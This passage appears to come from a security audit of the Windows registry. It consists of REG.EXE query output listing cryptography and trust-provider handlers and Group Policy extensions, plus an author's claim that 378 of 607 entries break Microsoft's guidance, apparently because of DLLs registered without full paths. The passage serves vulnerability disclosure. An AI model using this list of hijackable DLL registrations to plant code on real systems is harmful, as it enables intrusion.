    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.1
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.11
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.12
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.2
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.3
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.4
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllFormatObject\1.3.6.1.5.5.7.3.4
    Dll    REG_SZ    C:\Windows\SysWOW64\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllFormatObject\2.5.29.32
    Dll    REG_SZ    C:\Windows\SysWOW64\cryptdlg.dll

End of search: 204 match(es) found.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\SysWOW64\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\SysWOW64\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\DiagnosticPolicy\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsec.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\SysWOW64\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsecimpl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\urlmon.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\ieframe.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\SysWOW64\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\SysWOW64\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\1.3.6.1.4.1.311.10.3.3
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\1.3.6.1.5.5.7.3.1
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\1.3.6.1.5.5.7.3.2
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\2.16.840.1.113730.4.1
    $DLL    REG_SZ    WINTRUST.DLL

End of search: 97 match(es) found.

Note: only 231 of these 607 entries comply with Microsoft’s own recommendation and security guidance, while the other 378 entries show a total number of 378 bugs!

Group Policy client side extensions:

REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" /S /F "D*Name"
REM REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" /S /V "DisplayName"
REM REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" /S /V "DllName"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{0ACDD40C-75AC-47ab-BAA0-BF6DE7E7FE63}
    DisplayName    REG_EXPAND_SZ    @wlgpclnt.dll,-100
    DllName    REG_EXPAND_SZ    wlgpclnt.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{0E28E245-9368-4853-AD84-6DA3BA35BB75}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-1
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{169EBF44-942F-4C43-87CE-13C93996EBBE}
    DllName    REG_EXPAND_SZ    AppManagementConfiguration.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{16be69fa-4209-4250-88cb-716cf41954e0}
    DisplayName    REG_EXPAND_SZ    @auditcse.dll,-4000
    DllName    REG_EXPAND_SZ    auditcse.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{17D89FEC-5C44-4972-B12D-241CAEF74509}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-2
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{1A6364EB-776B-4120-ADE1-B63A406A76B5}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-3
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{25537BA6-77A8-11D2-9B6C-0000F8080861}
    DisplayName    REG_EXPAND_SZ    @fdeploy.dll,-261
    DllName    REG_EXPAND_SZ    fdeploy.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{2A8FDC61-2347-4C87-92F6-B05EB91A201A}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-22
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{2BFCC077-22D2-48DE-BDE1-2F618D9B476D}
    DllName    REG_EXPAND_SZ    AppManagementConfiguration.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{3610eda5-77ef-11d2-8dc5-00c04fa31a66}
    DisplayName    REG_EXPAND_SZ    @%SystemRoot%\System32\dskquota.dll,-100
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\dskquota.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{3A0DBA37-F8B2-4356-83DE-3E90BD5C261F}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-4
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{426031c0-0b47-4852-b0ca-ac3d37bfcb39}
    DisplayName    REG_EXPAND_SZ    @gptext.dll,-201
    DllName    REG_EXPAND_SZ    gptext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{42B5FAAE-6536-11d2-AE5A-0000F87571E3}
    DisplayName    REG_EXPAND_SZ    @gpscript.dll,-1
    DllName    REG_SZ    C:\Windows\System32\gpscript.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4B7C3B0F-E993-4E06-A241-3FBE06943684}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-22
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4bcd6cde-777b-48b6-9804-43568e23545d}
    DisplayName    REG_EXPAND_SZ    @%SystemRoot%\System32\TsUsbRedirectionGroupPolicyExtension.dll,-100
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\TsUsbRedirectionGroupPolicyExtension.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4CFB60C1-FAA6-47f1-89AA-0B18730C9FD3}
    DisplayName    REG_SZ    @C:\Windows\System32\iedkcs32.dll,-3051
    DllName    REG_SZ    C:\Windows\System32\iedkcs32.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4D2F9B6F-1E52-4711-A382-6A8B1A003DE6}
    DllName    REG_SZ    C:\Windows\System32\tsworkspace.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4d968b55-cac2-4ff5-983f-0a54603781a3}
    DisplayName    REG_EXPAND_SZ    @WorkFoldersGPExt.dll,-261
    DllName    REG_EXPAND_SZ    WorkFoldersGPExt.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{5794DAFD-BE60-433f-88A2-1A31939AC01F}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-5
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{6232C319-91AC-4931-9385-E70C2B099F0E}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-6
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{6A4C88C6-C502-4f74-8F60-2CB23EDC24E2}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-7
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-8
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

